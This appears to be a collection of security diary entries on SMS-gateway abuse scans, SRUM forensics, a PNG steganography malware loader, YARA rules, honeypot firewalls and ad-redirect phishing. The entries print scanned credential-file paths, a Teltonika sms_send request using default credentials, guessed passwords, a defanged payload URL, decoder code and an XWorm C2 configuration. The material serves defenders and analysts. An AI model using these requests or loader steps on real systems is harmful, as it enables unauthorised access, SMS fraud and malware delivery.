Last week, I wrote about scans for Teltonika Networks SMS Gateways. Attackers are always looking for cheap (free) ways to send SMS messages and gain access to not-blocklisted numbers. So, I took a closer look at similar scans we have seen. 

There are numerous ways to send SMS messages; using a hardware SMS gateway is probably one of the more fancy ways to do so. Most websites use messaging services. For example, we do see scans for SMS plugins for WordPress:

These scans look for style sheet files (.css) that are part of the respective plugins. It is fair to assume that if the respective style sheet is present, the attacker will attempt to obtain access to the site:

/wp-content/plugins/sms-alert/css/admin.css
/wp-content/plugins/mediaburst-email-to-sms/css/clockwork.css
/wp-content/plugins/verification-sms-targetsms/css/targetvr-style.css
/wp-content/plugins/wp-sms/assets/css/admin-bar.css
/wp-content/plugins/textme-sms-integration/css/textme.css
/wp-content/plugins/sms-alert/css/admin.css
 

We also got a few odd, maybe broken, scans like:

/api/v1/livechat/sms-incoming/%%target%%/wp-content/themes/twentytwentyone/assets/css/print.css
/api/v1/livechat/sms-incoming/%%target%%/wp-content/themes/twentytwentyone/assets/js/responsive-embeds.js
 

The "%%target%%" part was likely supposed to be replaced with a directory name.

And we have scans for some configuration files that may contain credentials for SMS services like:

/twilio/.config/bin/aws/lib/.env
/twilio-labs/configure-env
/twillio_creds.php
/twilio/.secrets
/sms_config.json
/sms/actuator/env
/sms/env

And many similar URLs.

Scans also look for likely API endpoints used to send SMS messages. I am not sure if they are associated with a particular product or software:

/sms/api/
/api/v1/livechat/sms-incoming/twilio
/sms.py
/Sms_Bomber.exe

SMS_bomber.exe is a script designed to send mass SMS messages [1]. The scans may attempt to identify copies left behind by other attackers.

SMS_bomber also suggests the use of a proxy, and we have some scans that are looking for proxies to find websites used to send SMS:

https://sms-activate.org
 

Not properly securing SMS gateways or credentials used to connect to SMS services could result in significant costs if an attacker abuses the service. It may also make the phone number unusable, as telecom providers and end users will block it. This may also result in reputational damage, and you will likely have to use a different phone number after it has been abused.

 

[1] https://github.com/iAditya-Nanda/SMS_Bomber

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

SRUM-DUMP Version 3: Uncovering Malware Activity in Forensics

For digital forensics and incident response professionals, extracting precise evidence from Windows systems is critical to understanding and mitigating threats. I’m excited to introduce SRUM-DUMP Version 3, a powerful forensic tool I’ve developed to analyze the Windows System Resource Usage Monitor (SRUM) database. Available on GitHub at SRUM-DUMP Repository, this version offers significant improvements, including a user-friendly GUI and customizable output. In this post, I’ll guide you through using SRUM-DUMP v3’s GUI to investigate a scenario where malware (malware.exe) exfiltrates intellectual property over a wireless network. We’ll explore the 3-step wizard, customize the analysis to highlight malware.exe, and examine where it appears in the output spreadsheet and what each tab reveals about the incident.

What is SRUM-DUMP Version 3?

SRUM-DUMP v3 is designed to extract and analyze data from the SRUM database (C:\Windows\System32\sru\srudb.dat), which logs system resource usage for up to 30 days. This database is a treasure trove for incident response, capturing details about application executions and network activity. Key features of v3 include:

• 3-step Wizard for Rapid Analysis: Select the output directory, srudb.dat and SOFTWARE registry key and you’re off!
• Customizable Configuration: A short analysis generates a srum_dump_config.json file allowing you to highlight suspicious terms, map network interfaces, and format output.
• Automated Artifact Detection: Editing the srum_dump_config.json lets you tag suspect processes, users, and networks before the analysis begins.
• XLSX Analysis: All of the artifacts are tagged, colorized, calculated, filtered, and placed into an XLSX file for easy analysis.

Scenario: Malware Exfiltrating Intellectual Property

Imagine an attacker compromises a Windows workstation, deploying malware.exe to steal sensitive documents over a wireless network. The malware runs as an application, quietly exfiltrating data to a remote server. There is no EDR or application logging to be found but you must determine what was stolen and how. The incident response team acquires SRUDB.dat and the SOFTWARE registry hive (C:\Windows\System32\config\SOFTWARE) and uses SRUM-DUMP v3 to analyze the evidence.

Using SRUM-DUMP v3’s GUI: Step-by-Step

SRUM-DUMP v3’s GUI streamlines the analysis process through a 3-step wizard, followed by configuration customization and result generation.

Step 1: Launch the 3-Step Wizard  

1. Launch the Tool: Run the prebuilt executable, available from the Releases page.
2. Select an Output Directory: Choose an empty directory where the tool will save the Excel spreadsheet and configuration file.
3. Select the SRUDB.DAT File: Locate SRUDB.dat. Either from your forensics image or at C:\Windows\System32\sru\srudb.dat on a live system.
4. Select the SOFTWARE Registry Hive (Optional): Provide the SOFTWARE hive to enrich network data, such as mapping interface LUIDs to SSIDs (e.g., “CorporateWiFi”).

If you selected files that are locked by the OS on live systems, srum-dump will extract the locked files through the Volume Shadow Copies. The files are analyzed and a configuration file is built containing all of the users, network, and processes from the selected files.

Step 2: Customize the Configuration

• After selecting files, SRUM-DUMP processes the SRUM database and generates an srum_dump_config.json file.
• Click “EDIT” to open the configuration file.
• Modify the “dirty_words” section to highlight suspect processes ( malware.exe in this example )

{
    "dirty_words": {
        "malware.exe": "highlight-red"
    }
}
    

• This ensures any instance of malware.exe in the output is highlighted in red.
• Optionally, add additional tags to suspicious users, processes, and applications. For example, if we need to (markb) was a compromised user and "CorporateWifi" was a suspicious wifi network you could add tags to the tables in srum_dump_config.json file.

{
    "SRUDbIdMapTable": {
        "3": "S-1-5-21-1234567890-0987654321-1234567890-1001 (markb) - CompromisedUser"
    },
    "network_interfaces": {
        "268435498": "CorporateWiFi - SuspectWifi"
    }
}
    

• Save the configuration file and click “CONFIRM”.

Step 3: Generate and Review the Spreadsheet

• Click “CONTINUE” to run the analysis with the customized configuration.
• A progress dialog appears, and once complete, the tool saves an updated Excel spreadsheet in the output directory.
• Open the spreadsheet to examine the results.

Where Does malware.exe Appear?

The Excel spreadsheet contains multiple tabs, each corresponding to a SRUM database table. For this scenario, we will examine just two of the locations where malware.exe will appear:

Tab Name	Description	Relevance to malware.exe
Application Timeline	Logs application executions, including executable names, user SIDs, timestamps, and resource usage.	Directly lists malware.exe in the AppId column, highlighted if configured.
Network Data	Records network activity, including bytes sent/received, interface LUIDs, and timestamps.	Indirectly relevant by showing network activity during malware.exe’s execution.

Application Timeline Tab

• Content: Each row represents an application execution event over the past 30 days.
• Where malware.exe Appears: In the AppId column, rows containing malware.exe will be highlighted in red (based on the “dirty_words” configuration).
• Key Columns:
  • AppId: The application’s identifier (e.g., malware.exe).
  • UserSid: The security identifier of the user running the application, mappable to a username (e.g., “CompromisedUser”).
  • TimeStamp: The UTC date and time of execution (e.g., 2025-04-15 02:00:00).
  • CycleTime: CPU usage, indicating the malware’s processing intensity.
  • WorkingSetSize: Memory usage, which may reveal unusual patterns.
• Insights for the Incident:
  • Confirms malware.exe was executed, providing a timeline of its activity.
  • Identifies the user account involved, aiding in attribution.
  • Reveals resource consumption, suggesting whether the malware was performing tasks like data encryption or exfiltration.

Network Data Tab

• Content: Each row represents a network activity event, detailing data transfers across interfaces.
• Relation to malware.exe: While malware.exe isn’t listed directly, you can correlate timestamps with the Application Timeline tab to identify network activity during its execution.
• Key Columns:
  • InterfaceLuid: Identifies the network interface (e.g., wireless adapter). With the SOFTWARE hive, this may be mapped to an SSID like “CorporateWiFi.”
  • BytesSent and BytesRecvd: Quantities of data transferred (e.g., 500 MB sent).
  • TimeStamp: When the activity occurred (e.g., 2025-04-15 02:00:00).
• Insights for the Incident:
  • High BytesSent values during malware.exe’s execution suggest data exfiltration.
  • The SSID mapping confirms the use of a specific wireless network, aligning with the scenario.
  • Timestamps link network activity to the malware’s runtime, strengthening evidence of its role.

Correlating Evidence

To reconstruct the incident:

1. Identify malware.exe Activity: In the Application Timeline tab, note timestamps when malware.exe was active (e.g., 2025-04-15 02:00:00).
2. Check Network Activity: In the Network Data tab, look for high BytesSent on the wireless interface at matching timestamps.
3. Build the Timeline: Combine these findings to show that malware.exe executed and simultaneously sent large amounts of data, confirming intellectual property theft.

For example:

• Application Timeline: malware.exe ran at 2025-04-15 02:00:00 with high CycleTime.
• Network Data: 500 MB of BytesSent on “CorporateWiFi” at 2025-04-15 02:00:00.

This correlation provides compelling evidence of the malware’s actions.

Getting Started

Download the prebuilt executable from the Releases page and follow the GUI steps outlined above. For advanced configuration options, consult the Configuration File Documentation.

SRUM-DUMP v3 empowers you to tackle malware investigations, insider threats, and system anomalies with precision, making it an indispensable tool for modern incident response.

Learn More

• Learn more about SRUM Windows Forensics Analysis FOR500
• Let me teach you to automate Infosed with python! Automating Infosec With Python
• Or develop more advanced infosec tools with Python Advanced Infosec Automation
• How about an introduction to Linux! Linux Security for Infosec Professionals
• Mark Baggett's YouTube Channel
• Connect with me on LinkedIn

I'm teaching at the following events. Come check it out!

• SEC673 ADVANCED Python in Miami, FL June 2, 2025
• SEC573 at SANSFire in Baltimore, MD July 14, 2025
• SEC573 in Melbourne, VIC AU August 17, 2025
• SEC573 in Las Vegas, NV September 22, 2025

 

I like it when a diary entry like "Example of a Payload Delivered Through Steganography" is published: it gives me an opportunity to test my tools, in particular pngdump.py, a tool to analyze PNG files.

A PNG file consists of a header followed by chunks. pngdump.py shows this (sample c2219ddbd3456e3df0a8b10c7bbdf018da031d8ba5e9b71ede45618f50f2f4b6):

The IHDR chunk gives us information about the image: it's 31744 pixels wide and 1 pixel high. That's already unusual!

There are 8 bits and the colortype is 6. That's RGBA (Red, Green, Blue and Alpha/Transparency). So there are 4 channels in total with a resolution of 8 bits, thus 4 bytes per pixel.

The IDAT chunk contains the compressed (zlib) image: there's only one IDAT chunk in this image. And the line filter is None: this means that the pixel data is not encoded.

So let's take a look at the decompressed raw pixel data:

We see the letters M and Z: these letters are characteristic for the header of a PE file.

And a bit further we see the letters "This program ...".

So it's clear that a PE file is embedded in the pixel data.

Every fourth byte is a byte of the PE file, and the first byte of the PE file is the second byte of the pixel data: so the PE file is embedded in the second channel of the pixel data.

We can select these bytes with a tool like translate.py, that takes a Python function to manipulate the bytes it receives.

data[1::4] is a Python slice that starts with the second byte (position 1), ends when there is no more data, and selects every fourth byte (a step of 4). This allows us to extract the second channel:

pngdump.py's option -d performs a binary dump, piping the raw pixel data into translate.py. translate.py's option -f reads all the data in one go (by default, translate.py operates byte per byte). lambda data: data[11:4] is a Python function that takes the raw pixel data as input (data) and returns the bytes of the second channel via a Python slice that selects every fourth byte starting with the second byte of the raw pixel data.

Finally, the extracted PE file is piped into file-magic.py to identify the file type: it is a .NET file, as Xavier explained.

We can also check that it is a PE file with a tool like pecheck.py:

And we can calculate the hashes with hash.py to look up the file on VirusTotal:

This is the SHA256 of the extracted PE file: 8f4cea5d602eaa4e705ef62e2cf00f93ad4b03fb222c35ab39f64c24cdb98462.

It's clear that the steganography works in this example: 0 detections for the PNG file on VirusTotal, and 49 detections for the embedded PE file.

 

 

 

Didier Stevens
Senior handler
blog.DidierStevens.com

In this diary, I’ll show you a practical example of how steganography is used to hide payloads (or other suspicious data) from security tools and Security Analysts’ eyes. Steganography can be defined like this: It is the art and science of concealing a secret message, file, or image within an ordinary-looking carrier—such as a digital photograph, audio clip, or text—so that the very existence of the hidden data is undetectable to casual observers (read: security people). Many online implementations of basic steganography allow you to embed a message (a string) into a picture[1].

Let’s have a look at the sample I found. Because it’s a .Net binary, it can be easily decompiled. But, because the source code is easily accessible, many malware are often obfuscated. A classic technique is to use UFT-16 in functions, classes, variable names, etc. In the following example, the registry key name is obfuscated:

Another common behaviour of malware in .Net is to use reflective code loading techniques. Reflective code loading is the ability of a running program to inspect, load, and use code—classes, functions, libraries, even entire assemblies—that was not statically linked or explicitly referenced at compile time. Instead, the program decides at runtime what to bring into memory and how to invoke it. Therefore, when you reverse a .Net program, it’s a good idea to search for methods like .Load(), .LoadFrom() or .LoadFile(). This may indicate that more code will be loaded (passed as a parameter).

That’s what I found in this sample, but there were other interesting strings: “Bitmap”, “WebClient”, or “OpenRead”:

A Bitmap payload (read: a picture) is downloaded from a URL. Once deobfuscated, we get:

hxxps://i[.]ibb[.]co/LgqktNn/freemaosnry[.]png

The deobfuscating function is here:

Once the picture has been downloaded, a loop will process all the pixels from the top row and extract the “red” component value. All the values are added in a byte array to rebuild the next payload. We can reproduce this with a few lines of Python:

#!/usr/bin/env python3
import sys
from PIL import Image

def main():
    img = Image.open(“freemaosnry[.]png”).convert("RGBA")
    w, h = img.size
    pix = img.load()

    with open("payload.tmp", "wb") as f:
        for y in range(h):
            for x in range(w):
                r, g, b, a = pix[x, y]
                f.write(bytes([r]))

if __name__ == "__main__”:
    main()

Let’s have a look at the picture:

remnux@remnux:/MalwareZoo/20250418$ file freemaosnry.png
freemaosnry.png: PNG image data, 31744 x 1, 8-bit/color RGBA, non-interlaced

Based on the file details, we should get a payload of 31744 bytes:

remnux@remnux:/MalwareZoo/20250418$./decode_pic.py
remnux@remnux:/MalwareZoo/20250418$ ls -al payload.tmp
-rwx------ 1 501 dialout 31744 Apr 18 08:27 payload.tmp*
remnux@remnux:/MalwareZoo/20250418$ file payload.tmp
payload.tmp: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Bingo! We have the next payload that, during execution, has been generated in memory. It is now ready to be invoked with:

AppDomain.CurrentDomain.Load(array).EntryPoint.Invoke(null, null);

What about this malware? The initial PE file was named “voice_recording.bat” (SHA256:ce77b1bc3431139358e2a70fa5f731d1be127e77efe8b534df5ccde59083849d[2]). It belongs to the XWorm family and has the following config:

{
    “c2": [
        "cryptoghost[.]zapto[.]org"
    ],
    "family": "latentbot"
}
{
    "attr": {
        "install_file": "MasonUSB.exe"
    },
    "rule": "Xworm",
    "family": "xworm"
}

Happy hunting!

[1] https://manytools.org/hacker-tools/steganography-encode-text-into-image/
[2] https://www.virustotal.com/gui/file/ce77b1bc3431139358e2a70fa5f731d1be127e77efe8b534df5ccde59083849d/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Ever wonder where all the SMS spam comes from? If you are trying to send SMS "at scale," there are a few options: You could sign up for a messaging provider like Twilio, the AWS SNS service, or several similar services. These services offer easily scriptable and affordable ways to send SMS messages. We have previously covered how attackers attempt to steal related credentials to use these services even cheaper (for free!). 

But if you are not into cloud or SaaS, maybe you instead like to send your own SMS messages directly? Or would you like to become the next Twilio? In this case, special SMS gateways are available. One company making these gateways is Teltonika Networks. They offer a wide range of products to send and receive SMS, including devices for IoT remote management and enterprise SMS gateways.

But of course, you need to authenticate to send SMS messages. Nobody wants complex login credentials and passwords. Teltonika offers simple default credentials: "user1" as user name, and "user_pass" as password.

I am surprised it took so long for us to see some scans for these well known credentials. For example:

/cgi-bin/sms_send?username=user1&password=user_pass&number=00966549306573&text=test

This request will send an SMS "test" to 00966549306573, a number in Saudi Arabia. Oddly enough, I ever so often see Saudi Arabian numbers used in SMS related scans.

Here are a few other passwords I have seen, all for the user "user1":

1234
admin
p8xr6tINNA0eGBIY
root
rut9xx
teltonika
test
user1

The long "random" password is interesting. It was used several times, and I am not sure if that is some kind of "support" backdoor. The "rut9xx" password makes sense as the model numbers for the industrial Teltonika gateways start with "RUT", like RUT140, RUT901, RUT906..., 

Numbers I have seen as a recipient:

00966549306573 (Saudi Arabia)
0032493855785& (Belgium)

As usual, change default passwords, particularly for more professional equipment like this: Throw it back at the vendor (HARD!) if it comes with a default password.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

In the last week I ran into some issues that I hadn't anticipated:

• Residential IP changed, some honeypots inacessible remotely
• Rebuilit DShield-SIEM [1], Zeek logs not displaying

 

Be mindful of network interface labels

First, an IP address changing for a residential network is not uncommon. Some ISPs may regularly change IP addresses for homes and for most people using their connection for standard usage, it's not a problem. However, it can be challening when this IP address is used to grant special network access to resources. In my case, the local iptables firewall for my honeypots had a rule to allow access from specific IP addresses, including the public IP address for my home. Once the IP address changed, I no longer SSH access to my honeypot over port 12222 and someone else could try to connect if the had my previous IP address, even through they'd need my private SSH key. I thought that I had planned well, giving myself multiple networks I could access my honeypots from. It turns out that I made some mistakes when reusing iptables configurations from different honeypots. 

Figure 1: Reusing iptables rules in '/etc/network/iptables' is problematic when interfaces are different between honeypots.

The interface names were different for the primary network connection. The primary interface is often eth0, but this is not always the case. A couple of my honeypots had different interface names, which means that the rules I had created for remote access from other networks didn't function as expected. 

Outside of statically assigning these in the /etc/network/iptables file, another way would be to leverage scripting to update this value on a regular basis, using interface data from the honeypot. 

# script adds IP addresses that can connect to TCP 12222 for remote admin
# isc.sans.edu first resolved IP
# 172.16.0.0/12
# 192.168.0.0/16
# 10.0.0.0/8

# specify domain of home domain name
domain="isc.sans.edu"

# delete any rule specifying destination port 12222
sed -i "/\b\(dport 12222\)\b/d" /etc/network/iptables

# get primary interface to the internet
interface=$(ip route get 1.1.1.1 | grep -Po '(?<=dev\s)\w+' | cut -f1 -d ' ')

# get remote IP address of my home domain
# only use first result
remoteip=$(host $domain | grep "has address" | cut -d " " -f 4 | head -1)

# enter firewall rule in /etc/network/iptables
# add rule after line 'START: allow access to admin ports for local IPs'
# double quotes used to expand variables while preserving whitespace
sed -i "/START: allow access to admin ports for local IPs/a -A INPUT -i $interface \
-s $remoteip -p tcp --dport 12222 -j ACCEPT" /etc/network/iptables

# add any other ip addresses you may want
# enter firewall rule in /etc/network/iptables
# add rule after line 'START: allow access to admin ports for local IPs'
# double quotes used to expand variables while preserving whitespace
sed -i "/START: allow access to admin ports for local IPs/a -A INPUT -i $interface \
-s 172.16.0.0/12 -p tcp --dport 12222 -j ACCEPT" /etc/network/iptables

# add any other ip addresses you may want
# enter firewall rule in /etc/network/iptables
# add rule after line 'START: allow access to admin ports for local IPs'
# double quotes used to expand variables while preserving whitespace
sed -i "/START: allow access to admin ports for local IPs/a -A INPUT -i $interface \
-s 192.168.0.0/16 -p tcp --dport 12222 -j ACCEPT" /etc/network/iptables

# add any other ip addresses you may want
# enter firewall rule in /etc/network/iptables
# add rule after line 'START: allow access to admin ports for local IPs'
# double quotes used to expand variables while preserving whitespace
sed -i "/START: allow access to admin ports for local IPs/a -A INPUT -i $interface \
-s 10.0.0.0/8 -p tcp --dport 12222 -j ACCEPT" /etc/network/iptables

 

Figure 2: Scripted update of iptables rules for honeypot.

 

This can get updated with variables to allow for some easier updating. In addition, some loops save some space and also allow for DNS names that may return multiple IP addresses. 

# specify file name to modify
file="/etc/network/iptables"

# specify domain of home domain name
domain="isc.sans.edu"

# delete any rule specifying destination port 12222
sed -i "/\b\(dport 12222\)\b/d" $file

# specify ip addresses to allow for admin access
# space delimited
custom_ips="213.233.1.23 43.212.322.32 324.23.2.12"
private_ips="172.16.0.0/12 192.168.0.0/16 10.0.0.0/8"

# get primary interface to the internet
interface=$(ip route get 1.1.1.1 | grep -Po '(?<=dev\s)\w+' | cut -f1 -d ' ')

# get remote IP address(es) of my home domain
remoteips=$(host $domain | grep "has address" | cut -d " " -f 4)

# add rule after line 'START: allow access to admin ports for local IPs'
# double quotes used to expand variables while preserving whitespace
for item in $remoteips; do
  sed -i "/START: allow access to admin ports for local IPs/a -A INPUT -i $interface \
-s $item -p tcp --dport 12222 -j ACCEPT" $file
done

# add any other ip addresses you may want
# add rule after line 'START: allow access to admin ports for local IPs'
# double quotes used to expand variables while preserving whitespace
for item in $custom_ips; do
  sed -i "/START: allow access to admin ports for local IPs/a -A INPUT -i $interface \
-s $item -p tcp --dport 12222 -j ACCEPT" $file
done

# add any other ip addresses you may want
# add rule after line 'START: allow access to admin ports for local IPs'
# double quotes used to expand variables while preserving whitespace
for item in $private_ips; do
  sed -i "/START: allow access to admin ports for local IPs/a -A INPUT -i $interface \
-s $item -p tcp --dport 12222 -j ACCEPT" $file
done

Figure 3: Firewall rules entered through new script. 

 

This works well for me since I'm using a Dynamic DNS service through AWS [2] on my pfsense [3] firewall. When my home IP address changes, an A record for my domain will get updated. That DNS entry will be used to retrieve my new IP address and the /etc/network/iptables files will get updated. It'll take about a day and I'll regain access to my honeypot. Why a day? The /etc/network/iptables file is only processed on boot and the honeypot automatically reboots once per day. 

Figure 4: Example configuration from pfsense router for Dynamic DNS. 

 

Now, there's a workaround in place for my infrequent IP address changes. Now onto my Zeek logging issues. 

 

Filebeat versioning and Zeek log forwarding

After rebuilding my DShield-SIEM ELK instance at home, I noticed I wasn't receiving Zeek logs in my dashboards. While troubleshooting, I learned how to use some helpful troubleshooting tools within Elastic, particularly Dev Tools [4]. 

Figure 5: Dev Tools link highlighted in Management area of Elastic.

 

Troubleshooting steps given in many guides reference commands that can be run against Elasticsearch APIs. This can be done using other tools like Curl, but the Console was much easier. I ended up going through a lot of troubleshooting since I had some errors about "missing replica shards". The console was easy to use and I was able to resolve the Health issue, but that ended up not being my problem. 

The version of filebeat [5] on my honeypot (8.15.1) was not the same as on my ELK instance (8.17.3). 

filebeat version
filebeat version 8.15.1 (amd64), libbeat 8.15.1 [88cc526a2d3e52dcbfa52c9dd25eb09ed95470e4 built 2024-09-02 08:36:21 +0000 UTC]

 

Figure 6: Version 8.17.3 of filebeat pipelines shown for Zeek. 

 

The easiest option here was to update my honeypot filebeat version to the same version of the pipelines. 

# install version 8.17.3 of filebeat
sudo apt-get install filebeat=8.17.3

# hold version at 8.17.3
# automatic updates without updating the pipelines in Elastic would cause ingestion issues
sudo apt-mark hold filebeat

# verify installed version
filebeat version

filebeat version 8.17.3 (amd64), libbeat 8.17.3 [3747d0eb6c26247477dd62ca51535cff8d6338b7 built 2025-02-28 08:55:42 +0000 UTC]

 

After updates, data started coming in normally. 

Figure 7: DShield-SIEM [1] dashboard of Zeek data. 

 

There is some inconsistency with my honeypot deployments since they were all deployed at different times and may have different versions of software, such as filebeat. Upgrades to the DShield-SIEM may require updates to honeypots that are forwardings logs, although I only had issues with Zeek logs. The main honeypot logs forwarded without any issue with mismatched versions of filebeat. 

 

 

[1] https://github.com/bruneaug/DShield-SIEM
[2] https://repost.aws/questions/QUjMLngFHpSuG7oz6pXieUuA/how-route-53-and-other-dns-system-works
[3] https://www.pfsense.org/
[4] https://www.elastic.co/docs/explore-analyze/query-filter/tools/console
[5] https://www.elastic.co/beats/filebeat

--
Jesse La Grew
Handler

In diary entry "xorsearch.py: Searching With Regexes" I showed how one can let xorsearch.py generate a YARA rule with a given regular expression.

This is a feature in many of my tools that support YARA, and I call it "Ad Hoc Yara Rules": rules that are created on the spot with your input.

Here is the example from my previous diary entry:

The regular expression is:

\d+\.\d+\.\d+\.\d+

It matches one or more digits (\d+) followed by a dot (\.) followed by one or more digits (\d+) followed by a dot (\.) followed by one or more digits (\d+) followed by a dot (\.) followed by one or more digits (\d+).

To instruct my tool xorsearch.py to generate a YARA rule for this regular expression, one uses the prefix #r#, like this (r stands for regex):

#r#\d+\.\d+\.\d+\.\d+

This generates the following YARA rule:

rule regex {

    strings:

        $a = /\d+\.\d+\.\d+\.\d+/ ascii wide nocase 

    condition:

        $a

}

The rule uses modifiers ascii, wide and nocase for the regular instruction. Thus the regex will match ASCII and UNICODE strings, regardless of case.

To view the YARA rule generate by my tools, use option -V (verbose):

This works for simple strings too, when you use prefix #s#:

And for hexadecimal too, using prefix #x#:

If you can write your YARA rule in a single line, you can also pass it along as an option using prefix #, like this:

 

This uses the following custom YARA rule (it searches for data that starts with ABC) :

rule hexadecimal {strings: $x = { 41 42 43 } condition: $x at 0}

If you can't write a YARA rule on the command-line (because it is too complex, or you want to use characters that you can't escape), then there are several solutions.

If you want to use a double-quote character in Windows cmd.exe:

One solution is to use prefix #q# and replace double quotes with single quotes, like this:

The tool will then replace all your single quotes with double quotes.

For more complex situations, you can use BASE64 and hexadecimal encoding. Encode the complete rule, and pass it along on the command-line in encoded form.

Take for example my YARA rule contains_pe_file.yara that is designed to find PE files in binary data:

Converting this rule to BASE64 gives

LyoNCiAgVmVyc2lvbiAwLjAuMSAyMDE0LzEyLzEzDQogIFNvdXJjZSBjb2RlIHB1dCBpbiBwdWJsaWMgZG9tYWluIGJ5IERpZGllciBTdGV2ZW5zLCBubyBDb3B5cmlnaHQNCiAgaHR0cHM6Ly9EaWRpZXJTdGV2ZW5zLmNvbQ0KICBVc2UgYXQgeW91ciBvd24gcmlzaw0KDQogIFNob3J0Y29taW5ncywgb3IgdG9kbydzIDstKSA6DQoNCiAgSGlzdG9yeToNCiAgICAyMDE0LzEyLzEzOiBzdGFydA0KICAgIDIwMTQvMTIvMTU6IGRvY3VtZW50YXRpb24NCiovDQoNCnJ1bGUgQ29udGFpbnNfUEVfRmlsZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGF1dGhvciA9ICJEaWRpZXIgU3RldmVucyAoaHR0cHM6Ly9EaWRpZXJTdGV2ZW5zLmNvbSkiDQogICAgICAgIGRlc2NyaXB0aW9uID0gIkRldGVjdCBhIFBFIGZpbGUgaW5zaWRlIGEgYnl0ZSBzZXF1ZW5jZSINCiAgICAgICAgbWV0aG9kID0gIkZpbmQgc3RyaW5nIE1aIGZvbGxvd2VkIGJ5IHN0cmluZyBQRSBhdCB0aGUgY29ycmVjdCBvZmZzZXQgKEFkZHJlc3NPZk5ld0V4ZUhlYWRlcikiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGEgPSAiTVoiDQogICAgY29uZGl0aW9uOg0KICAgICAgICBmb3IgYW55IGkgaW4gKDEuLiNhKTogKHVpbnQzMihAYVtpXSArIHVpbnQzMihAYVtpXSArIDB4M0MpKSA9PSAweDAwMDA0NTUwKQ0KfQ0K

 

And this can then be used on the command-line like this:

And the same can be done when the rule is converted to hexadecimal, by using prefix #h#:

2f2a0d0a202056657273696f6e20302e302e3120323031342f31322f31330d0a2020536f7572636520636f64652070757420696e207075626c696320646f6d61696e206279204469646965722053746576656e732c206e6f20436f707972696768740d0a202068747470733a2f2f44696469657253746576656e732e636f6d0d0a202055736520617420796f7572206f776e207269736b0d0a0d0a202053686f7274636f6d696e67732c206f7220746f646f2773203b2d29203a0d0a0d0a2020486973746f72793a0d0a20202020323031342f31322f31333a2073746172740d0a20202020323031342f31322f31353a20646f63756d656e746174696f6e0d0a2a2f0d0a0d0a72756c6520436f6e7461696e735f50455f46696c650d0a7b0d0a202020206d6574613a0d0a2020202020202020617574686f72203d20224469646965722053746576656e73202868747470733a2f2f44696469657253746576656e732e636f6d29220d0a20202020202020206465736372697074696f6e203d202244657465637420612050452066696c6520696e73696465206120627974652073657175656e6365220d0a20202020202020206d6574686f64203d202246696e6420737472696e67204d5a20666f6c6c6f77656420627920737472696e672050452061742074686520636f7272656374206f66667365742028416464726573734f664e657745786548656164657229220d0a20202020737472696e67733a0d0a20202020202020202461203d20224d5a220d0a20202020636f6e646974696f6e3a0d0a2020202020202020666f7220616e79206920696e2028312e2e2361293a202875696e7433322840615b695d202b2075696e7433322840615b695d202b20307833432929203d3d2030783030303034353530290d0a7d0d0a

To summarize, the prefixes you can use for Ad Hoc YARA rules are:

 

Prefix	Explanation
#s#	search string (ascii wide nocase)
#x#	search hexadecimal sequence
#r#	search regex (ascii wide nocase)
#	literal YARA rule
#q#	encoded YARA rule: replaces single quote (') with double quote (")
#b#	encoded YARA rule; uses BASE64 to decode
#h#	encoded YARA rule; uses hexadecimal to decode

 

Didier Stevens
Senior handler
blog.DidierStevens.com

While the old adage stating that “the human factor is the weakest link in the cyber security chain” will undoubtedly stay relevant in the near (and possibly far) future, the truth is that the tech industry could – and should – help alleviate the problem significantly more than it does today.

One clear example of this was provided by a phishing e-mail that was delivered to our mailbox here at the Internet Storm Center this morning.

For anyone aware of modern phishing techniques, the fact that the message was fraudulent would have been obvious at first glance, as you may see from the following picture… In fact, it even used a “standard” layout that has been commonly used in phishing campaigns for some time now.

The same could be said for the web page to which the link in the e-mail pointed – it was a commonly used, generic “Webmail” login portal.

Nevertheless, anyone not technically minded or not aware of common lures that phishing actors like to use, could, of course, fall for the scam. And after they clicked on one of the links, they would most likely reach the phishing site.

This was – among other reasons – because of the domain to which the links in the phishing e-mail pointed. While the URL would raise red flags for anyone with sufficient technical know-how, it wasn’t classified as malicious, because it came from a legitimate domain – specifically from “googleads.g.doubleclick.net”.

As its first part suggests, the domain in question is used by Google for redirecting traffic resulting from clicking on its display ads.

We can see where one would be redirected if we take a look at the URL in full:

hxxps[:]//googleads[.]g[.]doubleclick[.]net/pcs/click?xai=AKAOjssIdZGtK2LGw4coQMwtQcONuf8cVZUVHUrlFgT33_wiLCuxpoweUvHdBH9neY4iW-CZh2SzgITptx6j64F0B2pEU0uoeRfmKTeyn7LSG5Irubqjv6IFl9MeqTp84ZT99WRJlZDMgrwUaUI7QjgNwL22AVveJm980wuVNryiILT2WhxCPmcY8M7PVIOygAXT_382p7PUn7bIByn2OjlTfCiaqta3tAhZWCuROeXZPznm5cGhgUYspVywPb8Y8GbuT5pyEUyF89icmqe5zg&sig=Cg0ArKJSzFtr0kI2Y6Ll&adurl=hxxps[:]//eec086f678a65400d3fa7ba9c787d976.ip-ddns[.]com#[target@domain.tld]

The last parameter named “adurl” shows that the “advertising URL” was:

hxxps[:]//eec086f678a65400d3fa7ba9c787d976.ip-ddns[.]com#[target@domain.tld]

It is worth noting at this point that:

• ip-ddns.com is a Dynamic DNS service (i.e., a place where no real, benign landing pages for ads could ever be reasonably expected to be hosted),
• we saw the same phishing campaign last Monday (i.e., a week ago) using the same URL, and the Google Ads redirect still hasn’t been disabled,
• VirusTotal scores the domain eec086f678a65400d3fa7ba9c787d976.ip-ddns[.]com at 18/94[1] at the time of writing, which – on its own – certainly indicates that something is probably amiss with it…

To sum up, the question is: how is it possible that after a week, an ad service provided by a company such as Google still redirects to a URL hosting an obvious credential stealing page and the company hasn’t automatically blocked it?

Shouldn’t it have?

Detecting malicious links and sites is admittedly non-trivial. Nevertheless, I would argue that the absolute least that any company whose business model is in part based on displaying ads should do, would be to:

1.    filter out links to domains that absolutely no one would ever even dream of using for hosting actual benign ads (such as domains belonging to any dynamic DNS services) and
2.    periodically (ideally with a period shorter than one week) check all URLs that any ads it publishes point to and evaluate whether the corresponding landing pages aren’t obviously malicious.

Although it would undoubtedly add significant overhead to any ad provider, I would argue that given our dependence on the internet, and the ever-present nature of digital ads in it, such behavior should be the bare minimum that modern society should expect from ad providers in 2025.
